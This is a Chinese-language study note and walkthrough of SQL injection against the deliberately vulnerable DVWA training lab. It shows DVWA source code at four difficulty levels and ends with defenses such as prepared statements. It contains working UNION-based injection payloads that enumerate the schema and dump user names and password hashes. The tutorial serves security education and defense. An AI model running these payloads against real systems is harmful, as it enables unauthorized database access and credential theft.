前端时间实训讲了sql注入,但是因为那段时间只顾着打靶场了没有做笔记,今天完成第三四次作业时发现很多都忘记了,因此做这篇文章一方面分享知识,另一方面记录相关重要知识,方便后续复习回顾 SQL注入 我将通过DVWA靶场中的sql题目讲解SQL注入
原理: SQL注入是因为后台SQL语句拼接了用户的输入,而且Web应用程序对用户输入数据的合法性没有判断和过滤,前端传入后端的参数是攻击者可控的,攻击者可以通过构造不同的SQL语句来实现对数据库查询、删除,增加,修改数据等等操作,如果数据库的用户权限足够大,还可以对操作系统执行操作.
类型: 依据注入点类型分类 数字类型的注入
字符串类型的注入
搜索型注入
依据提交方式分类 GET注入
POST注入
COOKIE注入
HTTP头注入
依据获取信息的方式分类 基于布尔的盲注
基于时间的盲注
基于报错的注入
联合查询注入
堆查询注入 (可同时执行多条语句) 首先我们需要对数据库的基础知识有一定的了解 1 2 3 4 5 6 7 8 9 mysql中注释符:# 、/**/ 、 -- information_schema数据库中三个很重要的表: information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名 information_schema.tables: 该数据表存储了mysql数据库中的所有数据表的表名 information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名
创建数据库 1 CREATE DATABASE 库名1 character set utf-8; //创建数据库并库编码集为utf-8 支持中文
创建表 1 2 3 4 5 CREATE TABLE Product (字段1 CHAR(4) NOT NULL, 字段2 VARCHAR(100) NOT NULL, 字段3 VARCHAR(32) NOT NULL, //字段1,2,3不能为空 字段4 INTEGER );
每一列的数据类型(后述)是必须要指定的,数据类型包括:
INTEGER 整数型
NUMERIC ( 全体位数, 小数位数)
CHAR 字符串,长度不能改变
VARCHAR 字符串,长度可以改变
DATE 日期型
查询语句 1 select 字段名1,字段名2,字段名3 from 库1.表1 ;//查询库1里面表1的对应记录
当我们只想查找某条记录时,我们可以加上where语句
1 select 字段名1,字段名2,字段名3 from 库1.表1 where 字段名1='xx'; //查询库1里面表1的字段名为1的对应记录
更新语句 1 2 UPDATE 表1 SET 字段1 = 'xxx'; //更新表1字段1数据为xxx
删除表语句
靶场测试 DVWA靶场
注:第一次进入靶场,难度默认为impossible,我们需要把他调成对应的难度
Low 检测是否存在sql注入
当我们输入1后,他会显示对应的用户信息
对应源码:这里只展示与我们本题有关的源码
1 2 3 4 5 6 7 8 $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"];
服务器端的low.php并没有对客户输入的id进行任何检查与过滤,直接将SQL语句的执行结果显示给客户端。
当我们输入1’时查看返回结果
可以确定确实存在sql注入
当我们输入1时.
实际传入服务器的语句是SELECT first_name, last_name FROM users WHERE user_id = ‘1’;
很明显这就是我们刚才讲的sql查询语句,并且可以看到服务器并没有对我们提交的参数进行检查.
构造payload 通过order by 猜测字段数,只有当我们知道了对应的字段数,才能利用union进行下一步的操作
union介绍
1 2 3 1.Union必须由两条或者两条以上的SELECT语句组成,语句之间使用Union链接。 2.Union中的每个查询必须包含相同的列、表达式或者聚合函数,他们出现的顺序可以不一致(这里指查询字段相同,表不一定一样) 3.列的数据类型必须兼容,兼容的含义是必须是数据库可以隐含的转换他们的类型
对应的源码
1 $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
payload①
1后面的’用于将参数之前的’闭合 –后面有一个空格用于注释到参数后面的’
order by语句官方介绍
1 2 3 ORDER BY 语句 ORDER BY 语句用于根据指定的列对结果集进行排序。 ORDER BY 语句默认按照升序对记录进行排序。
可以看到返回结果为不知道的列3在…中
当我们重新构造payload
发现回显正常.因此可以断定前表共有两个字段.
再次构造payload
页面回显正常,并且将我们的1,2也给返回到页面中了,因此我们可以在1,2中构造恶意的语句进行查询
1 1' union select version(),2 --
查询数据库版本信息
前面我们说了三个重要的表,现在他们派上用场了
如何根据数据库得知其中的数据表呢,我们可以根据information_schema数据库中的schemata,tables,columns三个表格,这三个表格包括了数据库所有的库名,表明和字段名
1 1' union select SCHEMA_NAME,2 FROM INFORMATION_SCHEMA.SCHEMATA # //查询所有的数据库名
查到了DVWA数据库
1 1' union select TABLE_NAME,2 FROM INFORMATION_SCHEMA.TABLES where INFORMATION_SCHEMA.TABLES.TABLE_SCHEMA='dvwa'# //查询DVWA所有的表格
1 1' union select user,password from dvwa.users # //查询user表格下的用户名和密码
得到的密码一般为hash,网上有专门的解密网站.
Medium 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); switch ($_DVWA['SQLI_DB']) { case MYSQL: $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
该题为了防止用户直接输入使用了下拉表单,我们可以通过Hackbar提交post请求
参数后面加’判断是否存在注入
发现单引号被转义了,大概就是addslashes等类似函数的转义作用,继续测试一下,看看自己的猜测是否准确,由于addslashes转义的字符有(单引号(’) 双引号(”) 反斜杠(\) NULL),分别测试双引号、&、-等其他字符,发现双引号被转义,但是&等其他字符不会。猜测是否不是字符注入
构造payload
1 id=3 order by 4&Submit=Submit
果然和我们想的一样,接下来我们就可以用同样的方式获取用户名和密码,但是这里需要注意的是我们构造的payload需要绕过单号的转义
1 id=2 union select database(),version() &Submit=Submit //查询当前所在数据库和对应的版本
‘dvwa’我们可以直接用database()来代替以绕过单引号转义
构造payload
1 id=2 union select TABLE_NAME,2 FROM INFORMATION_SCHEMA.TABLES where INFORMATION_SCHEMA.TABLES.TABLE_SCHEMA=database()&Submit=Submit
1 id=2 union select user,password from dvwa.users &Submit=Submit
high 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } ?>
这里我们发现当我们点击change your ID时和我们原先并不是一个页面
分析源码可知,该题同样是字符型单引号注入,但是服务器限制了我们查询的记录数,每次只允许查询一条,这个我们可以后面通过mysql注释绕过
1 $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
最后payload
1 1' union select TABLE_NAME,2 FROM INFORMATION_SCHEMA.TABLES where INFORMATION_SCHEMA.TABLES.TABLE_SCHEMA='dvwa'# //查询DVWA所有的表格
1 1' union select user,password from dvwa.users#
但是最后大家应该都发现了,我们是在得到源代码基础上分析出来的,也就是白盒测试,但是在真实环境中,站点的源代码是不可能让我们所看到了,这就需要我们通过大量的尝试判断.并且这题如果在我们不知道源码的情况下当我们在参数后加’时并不能看到错误回显.这就需要我们有一定的经验,通过大量尝试解决.
impossible 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 <?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { $id = intval ($id); switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } break; case SQLITE: global $sqlite_db_connection; $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' ); $stmt->bindValue(':id',$id,SQLITE3_INTEGER); $result = $stmt->execute(); $result->finalize(); if ($result !== false) { // There is no way to get the number of rows returned // This checks the number of columns (not rows) just // as a precaution, but it won't stop someone dumping // multiple rows and viewing them one at a time. $num_columns = $result->numColumns(); if ($num_columns == 2) { $row = $result->fetchArray(); // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } break; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
分析源码我们可以看到
该级别的代码采用了PDO技术,划清了代码与数据的界限以防止SQL注入;
防御技术: 代码层最佳防御 sql 漏洞方案:采用 sql 语句预编译和绑定变量 ,是防御 sql 注入的最佳方法。 ( 1 )所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使 用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统 都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注 入攻击。 ( 2 )对进入数据库的特殊字符( ‘ <>&*; 等)进行转义处理,或编码转换。 ( 3 )确认每种数据的类型,比如数字型的数据就必须是数字 ( 4 )数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句 无法正确执行。 ( 5 )网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码 不一致有可能导致一些过滤模型被绕过。
结尾防御技术借鉴于老师的实训讲义